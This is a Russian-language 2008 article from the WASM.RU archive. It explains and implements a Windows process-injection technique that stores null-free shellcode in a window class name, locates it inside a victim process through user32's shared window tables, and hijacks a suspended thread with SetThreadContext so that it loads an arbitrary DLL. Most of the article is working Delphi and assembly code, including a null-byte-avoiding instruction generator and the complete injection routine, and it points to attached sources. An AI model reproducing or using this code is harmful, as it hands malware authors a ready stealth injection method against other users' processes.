Инжект: лезем через окно — Архив WASM.RU
В статье для демонстрационных целей используется Паскаль! Женщинам, детям и людям с неустойчивой психикой читать воспрещено!
Одним из самых соблазнительных мест для преступника, пытающегося пробраться в чужую квартиру, безусловно, является окно. Да и вообще, для русских людей характерно приходить к чему-то новому не «через дверь», а «через форточку», ибо так нам завещал сам царь Петр. Вот и мы, подражая великому правителю, попытаемся проникнуть в адресное пространство чужого процесса через… окно. Применение данному методу, в большинстве случаев, наверняка будет не совсем законным, но я не ставлю перед собой цель научить толпы кулхацкеров проникать незамеченными туда, куда их не просят. Я лишь хочу раскрыть технологию, лежащую на поверхности с незапамятных времен, но, почему-то, до сих пор, ни кем не замеченную. Так сказать, хочу подтолкнуть истинных исследователей зарыться еще глубже в недра замечательной операционной системы под названием Windows. Посему, ответственность за применение материала, изложенного в этой статье, я возлагаю на плечи тех, кто будет ее применять…
Если проследить за работой всем известной функции GetWindow(), то можно заметить, что для получения результата она не обращается к ядру, а берет данные прямо из адресного пространства текущего процесса. Это наталкивает на мысль, что каждый GUI-процесс имеет в себе копию таблиц, содержащих информацию об окнах. Действительно, на юзермодные адреса любого процесса, использующего user32.dll, система отображает ядерную область памяти, доступную только для чтения и имеющую атрибут супервизора. В этой области и хранятся все структуры, описывающие окна, классы и т. д. Значит, создав окно, к примеру с надписью «My Cool Window», эта самая строка сразу окажется отображенной в АП всех GUI-процессов. А если вместо строки подставить хитро составленный исполняемый код? Вот вам и инжект. После этого останется лишь найти наш код в чужом процессе и передать ему управление.
Тут, правда, есть несколько нюансов, заслуживающих внимания. Дело в том, что система хранит надписи окон в кодировке Unicode, не зависимо от того, в какой кодировке надпись задавалась изначально. Поэтому после создания окна наш исполняемый код разбавится нулями и превратится в кашу. Короче говоря, для хранения программного кода текст в окне нам не подойдет. А вот класс окна – в самый раз! Он хранится в ANSI-кодировке, и система сохраняет его именно таким, каким мы его зададим, т.е. готовым к исполнению. Второй нюанс это то, что в глазах системы класс окна должен быть оканчивающейся нулевым байтом строкой. Поэтому наш код не должен содержать в себе нулей. Составление такого кода достаточно сложная инженерная задача, сродная подготовке эксплойта, поэтому мы не будем усложнять себе жизнь и напишем лишь маленький переходник, подгружающий заранее подготовленную динамическую библиотеку, которая и будет выполнять всю полезную нагрузку, а в нашем случае просто выдавать сообщение. Итак, начнем…
А начнем мы с того, что попробуем найти указатель на структуру какого-либо окна в своем собственном процессе. Структура эта зовется tagWND и, к сожалению, нигде не документирована. Тут нам стоит отдать должное неизвестным героям, в свое время «позаимствовавшим» исходники Windows 2000 у корпорации Microsoft. Так же не забудем поблагодарить Ильфака Гильфанова за мощнейший дизассемблер и Oleh Yuschuk за лучший отладчик режима пользователя. Собственно говоря, эти вещи, да еще пивная открывалка – все, чем я пользовался во время своих исследований.
Для того чтобы научиться находить этот самый указатель, нам необходимо понять, как его получает сама система. Для этого обратимся к коду уже упомянутой мной выше функции GetWindow(). В Windows XP SP2 она выглядит следующим образом:
Код (Text):
mov edi, edi push ebp mov ebp, esp mov ecx, [ebp+hWnd] call @ValidateHwnd@4 ; ValidateHwnd(x) test eax, eax jz loc_77D3C331 push [ebp+uCmd] push eax call __GetWindow@8 ; _GetWindow(x,x) test eax, eax jz short loc_77D3C331 mov eax, [eax] loc_77D3C2BC: pop ebp retn 8Если пройтись по ней отладчиком, то видно, что hWnd окна, передаваемый в функцию ValidateHwnd() через регистр ecx, чудесным образом превращается в некий указатель, с которым и работает внутренняя _GetWindow(). Как не трудно догадаться, это и есть указатель на структуру окна, он называется pWnd. Чтобы не затягивать повествование и не загромождать статью лишними листингами, сразу перейду непосредственно к алгоритму работы функции ValidateHwnd():
- Как я уже говорил, область памяти, хранящая оконные структуры, на самом деле расположена в ядре, а на юзермодное пространство лишь спроецирована. Следовательно, все указатели в этих структурах ядерные и нам необходимо найти дельту (разницу) между соответствующими kernel и user адресами. Она лежит в PEB текущего потока по смещению 6E8h – смещение это не изменилось со времен win_2k вплоть до win_vista. Хочу заметить, что в разных процессах значения дельт отличаются.
- Существует юзермодная структура, называемая SHAREDINFO, в ней хранятся важнейшие указатели, необходимые для работы оконной подсистемы Win32. В том числе и указатель на массив элементов HANDLEENTRY, каждый элемент (структура) которого, кроме первого, неиспользуемого, описывает соответствующий GUI-объект в ядре (Window, Pen, DC и т. д.) и хранит указатель (kernel-адрес) на него. Это как раз то, что нам нужно! Жаль только, что адрес SHAREDINFO разнится от сервиспака к сервиспаку, а гарантированного способа найти его динамически я не нашел. Поэтому остается только хранить все возможные адреса и использовать нужный в зависимости от версии системы:
Код (Text):
win_2k sp4 - 77E69088h win_xp sp1 - 77D8C080h win_xp sp2 - 77D90080h win_vista no sp - GetModuleHandle('user32.dll') + 6A6C0hНиже я приведу описание этих двух ключевых структур:
Код (Text):
PSHAREDINFO = ^SHAREDINFO; SHAREDINFO = packed record psi: pointer; //Указатель на структуру SERVERINFO aheList: PHANDLEENTRY_ARRAY;//Указатель на таблицу хэндлов pDispInfo: pointer; //Указатель на глобальную DISPLAYINFO ulSharedDelta: DWORD; // <= тоже дельта, но не та, которая нам нужна end;
Код (Text):
PHANDLEENTRY = ^HANDLEENTRY; HANDLEENTRY = packed record pHead: pointer; //Указатель на объект (pWnd в случае окна) pOwner: pointer; //Указатель на родительский объект (ppi или pti) bType: BYTE; //Тип хэндла (1 == TYPE_WINDOW) bFlags: BYTE; //Флаги wUniq: WORD; //uniqueness count end; PHANDLEENTRY_ARRAY = ^HANDLEENTRY_ARRAY; HANDLEENTRY_ARRAY = array[0..0] of HANDLEENTRY;- После того, как будет получена дельта и указатель на SHAREDINFO (в реале он называется gSharedInfo), нам уже можно будет получить pWnd по hWnd. Для этого необходимо разобраться со структурой хэндла. Она проста до безобразия – в его младшем слове хранится индекс элемента HANDLEENTRY в массиве HANDLEENTRY_ARRAY. Назначение старшего слова не вполне ясно, все что известно – это то, что оно должно совпадать со значением поля wUniq из соответствующего хэндлу элемента HANDLEENTRY.
Итак, мы получаем индекс элемента в таблице, убеждаемся, что это окно, сравнивая поле bType с единицей, далее сравниваем старшее слово хэндла с полем wUniq и, в случае их равенства, от значения поля pHead, которое является kernel-указателем на tagWND, отнимаем найденую ранее дельту, чтобы получить юзермодный указатель. Все, результат готов!
Теперь напишем код нашей собственной функции ValidateHwnd():
Код (Text):
const TYPE_WINDOW = 1; HMINDEXBITS = $0000FFFF; HMUNIQSHIFT = 16; HMUNIQBITS = $FFFF0000;
Код (Text):
function IndexFromHandle(hWnd: DWORD): integer; begin result := hWnd and HMINDEXBITS; end;
Код (Text):
function UniqFromHandle(hWnd: DWORD): WORD; begin result := (hWnd shr HMUNIQSHIFT) and HMUNIQBITS; end;
Код (Text):
function ValidateHwnd(hWnd: DWORD): pointer; var phe: PHANDLEENTRY; dwDelta: DWORD; begin result := nil; asm mov eax, fs:[$18] // Эти поля в TEB ни где не описаны, lea eax, [eax + $6CC] // но смещения не изменились со mov eax, dword [eax + $1C] // времен win_2k вплоть до win_vista mov dwDelta, eax end; phe := @gSharedInfo.aheList[IndexFromHandle(hWnd)]; if phe.bType = TYPE_WINDOW then if phe.wUniq = UniqFromHandle(hWnd) then result := pointer(DWORD(phe.pHead) - dwDelta); end;Научившись добывать указатель на tagWND, стоило бы разобраться с самой структурой, но мы этого делать не будем, т.к. она достаточно громоздка и абсолютное большинство ее полей нас вообще не интересует. Нужно знать лишь то, что по смещению 10h от ее начала лежит указатель на саму себя в ядре – поле tagWND.head.pSelf (мы ведь помним, что ValidateHwnd() возвращает user-адрес?), а по смещению 64h находится kernel-указатель на структуру класса, к которому принадлежит окно (tagWND.pcls) – tagCLS. Чтобы получить user-указатель на tagCLS, нужно воспользоваться следующей формулой, которая универсальна для всех подобных структур, лежащих в ядре и имеющих ссылку на себя:
Код (Text):
field_useraddr := struct.field_kerneladdr – struct.pSelf + structЗдесь struct – это user-адрес имеющейся структуры, struct.pSelf – kernel-указатель на себя, а struct.field_kerneladdr – kernel-адрес, который нужно преобразовать. Получив интересующий нас user-адрес pCls, необходимо выудить из структуры класса указатель на ANSI-строку с его именем. Он лежит по смещению 54h от начала и называется lpszClientAnsiMenuName. Естественно, адрес, содержащийся в нем – ядерный. Итак, вооружившись всеми этими, сумбурно изложенными мной данными, напишем функцию, возвращающую указатель на имя класса по pWnd:
Вот, треть дела уже сделана! Теперь хорошо бы разобраться с тем, как искать нужные нам адреса в чужом процессе. Тут на самом деле нет ни чего сложного и отличного от уже изложенного материала, разве что объемы кода возрастут из-за необходимости чтения «чужой» памяти. Посему, не имея ни малейшего желания лишний раз загромождать статью, я опишу только ключевые моменты. В крайнем случае, читатель всегда может обратиться к приложенным к статье исходникам – не зря же я их писал…Код (Text):
function GetPClassName(pWnd: pointer): pointer; stdcall; asm pushad mov eax, pWnd mov edx, dword [eax + $10] // tagWND.head.pSelf (kernel addr) mov ecx, dword [eax + $64] // tagWND.pcls (kernel addr) sub ecx, edx add ecx, eax // tagWND.pcls (user addr) mov esi, dword [ecx + $54] // tagWND.pcls.lpszClientAnsiMenuName (kernel addr) sub esi, edx add esi, eax // tagWND.pcls.lpszClientAnsiMenuName (user addr) mov result, esi popad end;
- Адрес TEB чужого потока можно узнать с помощью экспорта ntdll.dll – функции ZwQueryInformationThread, вызвав ее с классом информации ThreadBasicInformation. Указанный буфер, в случае успеха, заполнится структурой типа THREAD_BASIC_INFORMATION, которая имеет в себе элемент TebBaseAddress – как раз то, что нам нужно. Впрочем, замечательный труд Гарри Нэббета о Native API расскажет обо всем этом намного лучше меня.
- В Windows Vista системные библиотеки в различных процессах могут грузиться по разным адресам, поэтому чтобы найти gSharedInfo нам, сначала, необходимо получить адрес, по которому загружена user32.dll, а потом прибавить к найденному значению 6A6C0h. Это число валидно лишь для Vista SP0, для последующих сервиспаков оно, скорее всего, будет другим.
Разобравшись с поиском указателей, пора приступать к подготовке шеллкода. Для начала определимся с тем, каким образом ему будет передаваться управление. Я не стал сильно мудрствовать и решил использовать избитый всеми SetThreadContext(). Это документированный и достаточно надежный способ, хотя и палится он всеми, кому не лень, собственно как и все остальные паблик-методы. Наш код, не содержащий нулей, после того, как закончит свои дела, должен будет вернуть управление потоку-жертве в то место, где выполнение последнего было нами прервано, естественно сохранив значения всех регистров. Учитывая все вышесказанное и имея ввиду то, что мы условились внедрять лишь маленький переходник, подгружающий заранее подготовленную DLL, становится возможным сделать примерный набросок нашего шеллкода:
Код (Text):
pushad mov eax, <addr_of_str_with_dll_path> push eax mov eax, <addr_of_loadlibrary> call eax popad push eax mov eax, <ret_addr> xchg [esp], eax retИ тут мы упираемся в подводный камень – каждое значение, заносимое нами в регистр eax командой mov, может и, скорее всего, будет содержать в себе нули. Здесь стоит откупорить еще бутылочку пивасика и включить воображение: нам необходимо написать генератор кода, использующий универсальный способ замены команды mov, да еще и такой, чтобы налету отсечь все нули из числа. Немного пораскинув мозгами, в голову приходит неплохой вариант. Надо заметить, что изначально мне в голову пришел совсем не тот вариант, который стоило бы публиковать, но мой друг Хакер вовремя наставил на путь истинный, за что ему «респект и уважуха». Нам нужно найти маску, при xor’е с которой исходное число давало бы DWORD, не содержащий нулей. Такая маска находится по элементарному алгоритму: к исходному числу («N») прибавляем 01010101h, получая «X», проверяем каждый байт результата – если он равен нулю или FFh, то прибавляем к нему 2. Далее высчитываем «Y» - Y = X xor N. Все. Допустим, нам нужно поместить в eax число 0098BCC8h. Вот так может выглядеть код, решающий эту проблему:
А теперь напишем функцию, генерирующую такой код динамически:Код (Text):
mov eax, 0199BDC9h // X xor eax, 01010101h // Y // в eax получится 0098BCC8h
Код (Text):
function GenCodeToPutDWORD(dwDWORD: DWORD; pCode: pointer): pointer; stdcall; asm mov edx, dwDWORD lea eax, [edx + $01010101] mov ecx, 4 @@1: cmp al, $FF je @@2 test al, al jne @@3 @@2: add al, 2 @@3: ror eax, 8 loop @@1 xor edx, eax mov ecx, pCode mov byte[ecx], $B8 mov byte[ecx + 5], $35 mov [ecx + 1], eax mov [ecx + 6], edx add ecx, 10 mov result, ecx end;Ну, вот мы и во всеоружии! Теперь приступим непосредственно к тому, ради чего все это затеяли – к внедрению кода. Порядок действий будет такой: первым делом создадим окно, класс которого будет являться полным путем к подгружаемой динамической библиотеке. Тут есть маленькое «но» - для задания пути в кодировке UNICODE класс окна не подойдет, но как нельзя лучше сгодится надпись на нем. В структуре tagWND указатель на надпись лежит по смещению 88h. Дальше найдем адрес функции LoadLibraryA() в чужом процессе (в win_vista он может отличаться от адреса в нашем АП). Сгенерируем первую часть шеллкода по приведенному выше шаблону, внеся в него предварительно найденный указатель на путь к внедряемой DLL. Следующим шагом будет приостановка целевого потока и получение его контекста. Генерируем вторую часть кода, которая возвратит управление по только что полученному eip и создаем окно с классом, содержащим в себе шеллкод. Ищем указатель на класс этого окна и устанавливаем новое значение eip для потока. И все! Вот какой код получился у меня (да не ужаснутся хакеры старой школы от использования Delphi с VCL – для простоты и наглядности такой подход в самый раз):
Код (Text):
procedure TfrmMain.cmdClick(Sender: TObject); var wc: WNDCLASSEX; hWnd, hWndLibPath, ThreadID, hThread: DWORD; Context: _CONTEXT; CodeArr: array[0..255] of byte; pClass, pCode: pointer; begin ZeroMemory(@CodeArr, 256); if txtTID.Text <> '' then begin ThreadID := StrToInt(txtTID.Text); ZeroMemory(@wc, SizeOf(WNDCLASSEX)); wc.cbSize := SizeOf(WNDCLASSEX); wc.lpszClassName := PChar(txtLibPath.Text); wc.lpfnWndProc := @EmptyWndProc; RegisterClassEx(wc); hWndLibPath := CreateWindowEx(0, PChar(txtLibPath.Text), nil, WS_OVERLAPPEDWINDOW, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0, GetModuleHandle(nil), nil); pClass := GetPClassNameEx(ValidateHwndEx(hWndLibPath, ThreadID), ThreadID); pCode := @CodeArr; BYTE(pCode^) := $60; // pushad Inc(DWORD(pCode)); pCode := GenCodeToPutDWORD(DWORD(pClass), pCode); BYTE(pCode^) := $50; // push eax Inc(DWORD(pCode)); pCode := GenCodeToPutDWORD(DWORD(GetProcAddressEx('kernel32.dll', 'LoadLibraryA', ProcessIdFromThreadId(ThreadID))), pCode); WORD(pCode^) := $D0FF; // call eax Inc(DWORD(pCode), 2); BYTE(pCode^) := $61; // popad Inc(DWORD(pCode)); BYTE(pCode^) := $50; // push eax Inc(DWORD(pCode)); hThread := OpenThread(THREAD_GET_CONTEXT or THREAD_SET_CONTEXT, false, ThreadID); if hThread <> 0 then begin SuspendThread(hThread); Context.ContextFlags := CONTEXT_FULL; GetThreadContext(hThread, Context); pCode := GenCodeToPutDWORD(Context.Eip, pCode); BYTE(pCode^) := $87; // | Inc(DWORD(pCode)); // | WORD(pCode^) := $2404; // | xchg eax, [esp] Inc(DWORD(pCode), 2); // | BYTE(pCode^) := $C3; // ret ZeroMemory(@wc, SizeOf(WNDCLASSEX)); wc.cbSize := SizeOf(WNDCLASSEX); wc.lpszClassName := @CodeArr[0]; wc.lpfnWndProc := @EmptyWndProc; RegisterClassEx(wc); hWnd := CreateWindowEx(0, @CodeArr, nil, WS_OVERLAPPEDWINDOW, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0, GetModuleHandle(nil), nil); ZeroMemory(@wc, SizeOf(WNDCLASSEX)); Context.Eip := DWORD(GetPClassNameEx(ValidateHwndEx(hWnd, ThreadID), ThreadID)); SetThreadContext(hThread, Context); ResumeThread(hThread); CloseHandle(hThread); Sleep(1000); PostMessage(hWnd, WM_CLOSE, 0, 0); end; PostMessage(hWndLibPath, WM_CLOSE, 0, 0); end; end;В листинге я не стал приводить содержимое таких функций, как GetProcAddressEx(), ProcessIdFromThreadId() и т.д. – их назначение понятно из названия, а код тривиален. Любителей копипаста отправляю к исходникам, приложенным к статье.
Ну вот, пожалуй, и все, что я хотел поведать. Надеюсь, информация, изложенная мной в данной статье, хоть как-то окажется полезной конечному читателю…
Файлы к статье. © Twister
Инжект: лезем через окно
Дата публикации 10 апр 2008
| Редактировалось 6 июл 2017